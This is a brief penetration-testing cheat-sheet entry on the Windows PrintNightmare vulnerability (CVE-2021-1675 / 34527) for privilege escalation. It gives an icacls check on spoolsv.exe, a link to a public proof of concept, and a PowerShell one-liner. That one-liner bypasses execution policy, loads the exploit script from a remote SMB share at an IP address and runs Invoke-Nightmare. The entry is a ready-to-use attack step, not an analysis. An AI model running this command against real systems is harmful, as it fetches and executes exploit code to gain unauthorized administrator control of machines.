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PrintNightmare (CVE-2021-1675 / 34527)

Privilege Escalation Windows Misc windows

Verify spoolsv

icacls.exe "C:\Windows\System32\spoolsv.exe"

Run the PoC

powershell -ep bypass . \\10.13.31.108\share\CVE-2021-1675.ps1;Invoke-Nightmare

Reference

https://github.com/calebstewart/CVE-2021-1675